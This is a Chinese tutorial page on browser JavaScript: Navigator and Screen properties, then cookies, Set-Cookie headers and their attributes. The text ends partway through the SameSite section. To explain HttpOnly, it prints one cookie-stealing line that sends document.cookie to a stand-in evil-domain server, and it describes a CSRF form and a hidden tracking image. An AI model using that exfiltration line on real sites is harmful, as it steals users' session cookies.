admin管理员组

文章数量:1543652

JavaScript(七)(Navigator/Screen/Cookie/XMLHttpRequest/CORS)

文章目录

  • JavaScript(七)(Navigator/Screen/Cookie/XMLHttpRequest/CORS)
    • 56. Navigator 对象,Screen 对象。
      • 56.1 Navigator 对象的属性
        • 56.1.1 Navigator.userAgent
        • 56.1.2 Navigator.plugins
        • 56.1.3 Navigator.platform
        • 56.1.4 Navigator.onLine
        • 56.1.5 Navigator.language,Navigator.languages
        • 56.1.6 Navigator.geolocation
        • 56.1.7 Navigator.cookieEnabled
      • 56.2 Navigator 对象的方法
        • 56.2.1 Navigator.javaEnabled()
        • 56.2.2 Navigator.sendBeacon()
      • 56.3 Navigator 的实验性属性
        • 56.3.1 Navigator.deviceMemory
        • 56.3.2 Navigator.hardwareConcurrency
        • 56.3.3 Navigator.connection
      • 56.4 Screen 对象
    • 57. Cookie
      • 57.1 概述
      • 57.2 Cookie 与 HTTP 协议
        • 57.2.1 HTTP 回应:Cookie 的生成
        • 57.2.2 HTTP 请求:Cookie 的发送
      • 57.3 Cookie 的属性(==52.2 session 历史事件==)
        • 57.3.1 Expires,Max-Age
        • 57.3.2 Domain,Path
        • 57.3.3 Secure,HttpOnly
        • 57.3.4 SameSite
          • **(1)Strict**
          • **(2)Lax**
          • **(3)None**
      • 57.4 document.cookie
    • 58. XMLHttpRequest 对象(==AJAX==)
      • 58.1 简介
      • 58.2 XMLHttpRequest 的实例属性
        • 58.2.1 XMLHttpRequest.readyState
        • 58.2.2 XMLHttpRequest.onreadystatechange
        • 58.2.3 XMLHttpRequest.response
        • 58.2.4 XMLHttpRequest.responseType
        • 58.2.5 XMLHttpRequest.responseText
        • 58.2.6 XMLHttpRequest.responseXML
        • 58.2.7 XMLHttpRequest.responseURL
        • 58.2.8 XMLHttpRequest.status,XMLHttpRequest.statusText
        • 58.2.9 XMLHttpRequest.timeout,XMLHttpRequestEventTarget.ontimeout
        • 58.2.10 事件监听属性(on-**)
        • 58.2.11 XMLHttpRequest.withCredentials
        • 58.2.12 XMLHttpRequest.upload
      • 58.3 XMLHttpRequest 的实例方法
        • 58.3.1 XMLHttpRequest.open()
        • 58.3.2 XMLHttpRequest.send()
        • 58.3.3 XMLHttpRequest.setRequestHeader()
        • 58.3.4 XMLHttpRequest.overrideMimeType()
        • 58.3.5 XMLHttpRequest.getResponseHeader()
        • 58.3.6 XMLHttpRequest.getAllResponseHeaders()
        • 58.3.7 XMLHttpRequest.abort()
      • 58.4 XMLHttpRequest 实例的事件
        • 58.4.1 readyStateChange 事件
        • 58.4.2 progress 事件
        • 58.4.3 load 事件、error 事件、abort 事件
        • 58.4.4 loadend 事件
        • 58.4.5 timeout 事件
      • 58.5 Navigator.sendBeacon()
    • 59. 同源限制
      • 59.1 概述
        • 59.1.1 含义
        • 59.1.2 目的
        • 59.1.3 限制范围
      • 59.2 Cookie
      • 59.3 iframe 和多窗口通信
        • 59.3.1 片段识别符 fragment identifier
        • 59.3.2 window.postMessage()(==message-.source .origin==)
        • 59.3.3 LocalStorage
      • 59.4 AJAX
        • 59.4.1 JSONP
        • 59.4.2 WebSocket
        • 59.4.3 CORS
    • 60. CORS 通信
      • 60.1 简介
      • 60.2 两种请求
      • 60.3 简单请求
        • 60.3.1 基本流程
          • **(1)`Access-Control-Allow-Origin`**
          • **(2)`Access-Control-Allow-Credentials`**
          • **(3)`Access-Control-Expose-Headers`**
        • 60.3.2 withCredentials 属性
      • 60.4 非简单请求
        • 60.4.1 预检请求
          • **(1)`Access-Control-Request-Method`**
          • **(2)`Access-Control-Request-Headers`**
        • 60.4.2 预检请求的回应
          • **(1)`Access-Control-Allow-Methods`**
          • **(2)`Access-Control-Allow-Headers`**
          • **(3)`Access-Control-Allow-Credentials`**
          • **(4)`Access-Control-Max-Age`**
        • 60.4.3 浏览器的正常请求和回应
      • 60.5 与 JSONP 的比较

56. Navigator 对象,Screen 对象。

window.navigator属性指向一个包含浏览器和系统信息的 Navigator 对象。脚本通过这个属性了解用户的环境信息

56.1 Navigator 对象的属性

56.1.1 Navigator.userAgent

navigator.userAgent属性返回浏览器的 User Agent 字符串,表示浏览器的厂商和版本信息。

下面是 Chrome 浏览器的userAgent

navigator.userAgent
// "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36"

通过userAgent属性识别浏览器,不是一个好办法。因为必须考虑所有的情况(不同的浏览器,不同的版本),非常麻烦,而且用户可以改变这个字符串。这个字符串的格式并无统一规定,也无法保证未来的适用性,各种上网设备层出不穷,难以穷尽。所以,现在一般不再通过它识别浏览器了,而是使用“功能识别”方法,即逐一测试当前浏览器是否支持要用到的 JavaScript 功能。

不过,通过userAgent可以大致准确地识别手机浏览器,方法就是测试是否包含mobi字符串。

var ua = navigator.userAgent.toLowerCase();

if (/mobi/i.test(ua)) {
   
  // 手机浏览器
} else {
   
  // 非手机浏览器
}

如果想要识别所有移动设备的浏览器,可以测试更多的特征字符串。

/mobi|android|touch|mini/i.test(ua)
56.1.2 Navigator.plugins

Navigator.plugins属性返回一个类似数组的对象,成员是 Plugin 实例对象,表示浏览器安装的插件,比如 Flash、ActiveX 等。

var pluginsLength = navigator.plugins.length;

for (var i = 0; i < pluginsLength; i++) {
   
  console.log(navigator.plugins[i].name);
  console.log(navigator.plugins[i].filename);
  console.log(navigator.plugins[i].description);
  console.log(navigator.plugins[i].version);
}
56.1.3 Navigator.platform

Navigator.platform属性返回用户的操作系统信息,比如MacIntelWin32Linux x86_64等 。

navigator.platform
// "Linux x86_64"
56.1.4 Navigator.onLine

navigator.onLine属性返回一个布尔值,表示用户当前在线还是离线(浏览器断线)。

navigator.onLine // true

有时,浏览器可以连接局域网,但是局域网不能连通外网。这时,有的浏览器的onLine属性会返回true,所以不能假定只要是true,用户就一定能访问互联网。不过,如果是false,可以断定用户一定离线。

用户变成在线会触发online事件,变成离线会触发offline事件,可以通过window.ononlinewindow.onoffline指定这两个事件的回调函数。

window.addEventListener('offline', function(e) {
    console.log('offline'); });
window.addEventListener('online', function(e) {
    console.log('online'); });
56.1.5 Navigator.language,Navigator.languages

Navigator.language属性返回一个字符串,表示浏览器的首选语言。该属性只读。

navigator.language // "en"

Navigator.languages属性返回一个数组,表示用户可以接受的语言。Navigator.language总是这个数组的第一个成员。HTTP 请求头信息的Accept-Language字段,就来自这个数组。

navigator.languages  // ["en-US", "en", "zh-CN", "zh", "zh-TW"]

如果这个属性发生变化,就会在window对象上触发languagechange事件。

56.1.6 Navigator.geolocation

Navigator.geolocation属性返回一个 Geolocation 对象,包含用户地理位置的信息。注意,该 API 只有在 HTTPS 协议下可用,否则调用下面方法时会报错。

Geolocation 对象提供下面三个方法。

  • Geolocation.getCurrentPosition():得到用户的当前位置
  • Geolocation.watchPosition():监听用户位置变化
  • Geolocation.clearWatch():取消watchPosition()方法指定的监听函数

注意,调用这三个方法时,浏览器会跳出一个对话框,要求用户给予授权。

56.1.7 Navigator.cookieEnabled

navigator.cookieEnabled属性返回一个布尔值,表示浏览器的 Cookie 功能是否打开。

navigator.cookieEnabled // true

注意,这个属性反映的是浏览器总的特性,与是否储存某个具体的网站的 Cookie 无关。用户可以设置某个网站不得储存 Cookie,这时cookieEnabled返回的还是true

56.2 Navigator 对象的方法

56.2.1 Navigator.javaEnabled()

navigator.javaEnabled()方法返回一个布尔值,表示浏览器是否能运行 Java Applet 小程序。

navigator.javaEnabled() // false
56.2.2 Navigator.sendBeacon()

Navigator.sendBeacon()方法用于向服务器异步发送数据,详见《XMLHttpRequest 对象》一章。

56.3 Navigator 的实验性属性

Navigator 对象有一些实验性属性,在部分浏览器可用。

56.3.1 Navigator.deviceMemory

navigator.deviceMemory属性返回当前计算机的内存数量(单位为 GB)。该属性只读,只在 HTTPS 环境下可用。

它的返回值是一个近似值,四舍五入到最接近的2的幂,通常是 0.25、0.5、1、2、4、8。实际内存超过 8GB,也返回8

if (navigator.deviceMemory > 1) {
   
  await import('./costly-module.js');
}

上面示例中,只有当前内存大于 1GB,才加载大型的脚本。

56.3.2 Navigator.hardwareConcurrency

navigator.hardwareConcurrency属性返回用户计算机上可用的逻辑处理器的数量。该属性只读。

现代计算机的 CPU 有多个物理核心,每个物理核心有时支持一次运行多个线程。因此,四核 CPU 可以提供八个逻辑处理器核心。

if (navigator.hardwareConcurrency > 4) {
   
  await import('./costly-module.js');
}

上面示例中,可用的逻辑处理器大于4,才会加载大型脚本。

该属性通过用于创建 Web Worker,每个可用的逻辑处理器都创建一个 Worker。

let workerList = [];

for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
   
  let newWorker = {
   
    worker: new Worker('cpuworker.js'),
    inUse: false
  };
  workerList.push(newWorker);
}

上面示例中,有多少个可用的逻辑处理器,就创建多少个 Web Worker。

56.3.3 Navigator.connection

navigator.connection属性返回一个对象,包含当前网络连接的相关信息。

  • downlink:有效带宽估计值(单位:兆比特/秒,Mbps),四舍五入到每秒 25KB 的最接近倍数。
  • downlinkMax:当前连接的最大下行链路速度(单位:兆比特每秒,Mbps)。
  • effectiveType:返回连接的等效类型,可能的值为slow-2g2g3g4g
  • rtt:当前连接的估计有效往返时间,四舍五入到最接近的25毫秒的倍数。
  • saveData:用户是否设置了浏览器的减少数据使用量选项(比如不加载图片),返回true或者false
  • type:当前连接的介质类型,可能的值为bluetoothcellularethernetnonewifiwimaxotherunknown
if (navigator.connection.effectiveType === '4g') {
   
  await import('./costly-module.js');
}

上面示例中,如果网络连接是 4G,则加载大型脚本。

56.4 Screen 对象

Screen 对象表示当前窗口所在的屏幕,提供显示设备的信息。window.screen属性指向这个对象。

该对象有下面的属性。

  • Screen.height:浏览器窗口所在的屏幕的高度(单位像素)。除非调整显示器的分辨率,否则这个值可以看作常量,不会发生变化。显示器的分辨率与浏览器设置无关,缩放网页并不会改变分辨率。
  • Screen.width:浏览器窗口所在的屏幕的宽度(单位像素)。
  • Screen.availHeight:浏览器窗口可用的屏幕高度(单位像素)。因为部分空间可能不可用,比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区,这个属性等于height减去那些被系统组件的高度。
  • Screen.availWidth:浏览器窗口可用的屏幕宽度(单位像素)。
  • Screen.pixelDepth:整数,表示屏幕的色彩位数,比如24表示屏幕提供24位色彩。
  • Screen.colorDepthScreen.pixelDepth的别名。严格地说,colorDepth 表示应用程序的颜色深度,pixelDepth 表示屏幕的颜色深度,绝大多数情况下,它们都是同一件事。
  • Screen.orientation:返回一个对象,表示屏幕的方向。该对象的type属性是一个字符串,表示屏幕的具体方向,landscape-primary表示横放,landscape-secondary表示颠倒的横放,portrait-primary表示竖放,portrait-secondary表示颠倒的竖放。

下面是Screen.orientation的例子。

window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }

下面的例子保证屏幕分辨率大于 1024 x 768。

if (window.screen.width >= 1024 && window.screen.height >= 768) {
   
  // 分辨率不低于 1024x768
}

下面是根据屏幕的宽度,将用户导向不同网页的代码。

if ((screen.width <= 800) && (screen.height <= 600)) {
   
  window.location.replace('small.html');
} else {
   
  window.location.replace('wide.html');
}

57. Cookie

57.1 概述

Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。

Cookie 主要保存状态信息,以下是一些主要用途。

  • 对话(session)管理:保存登录、购物车等需要记录的信息。
  • 个性化信息:保存用户的偏好,比如网页的字体大小、背景色等等。
  • 追踪用户:记录和分析用户行为。

Cookie 不是一种理想的客户端储存机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。

每个 Cookie 都有以下几方面的元数据。

  • Cookie 的名字
  • Cookie 的值(真正的数据写在这里面)
  • 到期时间(超过这个时间会失效)
  • 所属域名(默认为当前域名)
  • 生效的路径(默认为当前网址)

举例来说,用户访问网址www.example,服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为www.example,生效路径为根路径/。如果 Cookie 的生效路径设为/forums,那么这个 Cookie 只有在访问www.example/forums及其子路径时才有效。以后,浏览器访问某个路径之前,就会找出对该域名和路径有效,并且还没有到期的 Cookie,一起发送给服务器

用户可以设置浏览器不接受 Cookie,也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。

window.navigator.cookieEnabled // true

document.cookie属性返回当前网页的 Cookie。

document.cookie // "id=foo;key=bar"

不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过4KB。超过限制以后,Cookie 将被忽略,不会被设置。

浏览器的同源政策规定,两个网址只要域名相同,就可以共享 Cookie(参见《同源政策》一章)。注意,这里不要求协议相同。也就是说,http://example设置的 Cookie,可以被https://example读取。

57.2 Cookie 与 HTTP 协议

Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。

57.2.1 HTTP 回应:Cookie 的生成

服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段。

Set-Cookie:foo=bar

上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar

HTTP 回应可以包含多个Set-Cookie字段,即在浏览器生成多个 Cookie。下面是一个例子。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值,Set-Cookie字段还可以附加 Cookie 的属性。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

上面的几个属性的含义,将在后文解释。

一个Set-Cookie字段里面,可以同时包括多个属性,没有次序的要求。

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

下面是一个例子。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的keydomainpathsecure都匹配。举例来说,如果原始的 Cookie 是用如下的Set-Cookie设置的。

Set-Cookie: key1=value1; domain=example.com; path=/blog

改变上面这个 Cookie 的值,就必须使用同样的Set-Cookie

Set-Cookie: key1=value2; domain=example.com; path=/blog

只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。

Set-Cookie: key1=value2; domain=example.com; path=/

上面的命令设置了一个全新的同名 Cookie,但是path属性不一样。下一次访问example/blog的时候,浏览器将向服务器发送两个同名的 Cookie。

Cookie: key1=value1; key1=value2

上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。

57.2.2 HTTP 请求:Cookie 的发送

浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。

Cookie: foo=bar

上面代码会向服务器发送名为foo的 Cookie,值为bar

Cookie字段可以包含多个 Cookie,使用分号(;)分隔。

Cookie: name=value; name2=value2; name3=value3

下面是一个例子。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。

  • Cookie 的各种属性,比如何时过期。
  • 哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。

57.3 Cookie 的属性(52.2 session 历史事件)

57.3.1 Expires,Max-Age

Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。

如果同时指定了ExpiresMax-Age,那么Max-Age的值将优先生效。

如果Set-Cookie字段没有指定ExpiresMax-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。

57.3.2 Domain,Path

Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。比如,example不设置 Cookie 的domain属性,那么sub.example将不会附带这个 Cookie。如果指定了domain属性,那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie。

Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。

57.3.3 Secure,HttpOnly

Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。

HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。

(new Image()).src = "http://www.evil-domain/steal-cookie.php?cookie=" + document.cookie;

上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。

57.3.4 SameSite

Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击和用户追踪。

Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这就是 CSRF 攻击。举例来说,用户登陆了银行网站your-bank,银行服务器发来了一个 Cookie。

Set-Cookie:id=a3fWa;

用户后来又访问了恶意网站malicious,上面有一个表单。

<form action="your-bank/transfer" method="POST">
  ...
</form>

用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击,表单一般都带有一个随机 token,告诉服务器这是真实请求。

<form action="your-bank/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34">
  ...
</form>

这种第三方网站引导发出的 Cookie,就称为第三方 Cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。

<img src="facebook" style="visibility:hidden;">

浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。

Cookie 的SameSite属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值。

  • Strict
  • Lax
  • None
(1)Strict

Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。

(2)Lax

Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。

请求类型 示例 正常情况 Lax
链接 <a href="..."></a> 发送 Cookie 发送 Cookie
预加载 <link rel="prerender" href="..."/> 发送 Cookie 发送 Cookie
GET 表单 <form method="GET" action="..."> 发送 Cookie 发送 Cookie
POST 表单 <form method="POST" action="..."> 发送 Cookie 不发送
iframe <iframe src="..."></iframe> 发送 Cookie 不发送
AJAX $.get("...") 发送 Cookie 不发送
Image <img src="...">

本文标签: ScreenNavigatorJavaScriptCORSXMLHttpRequest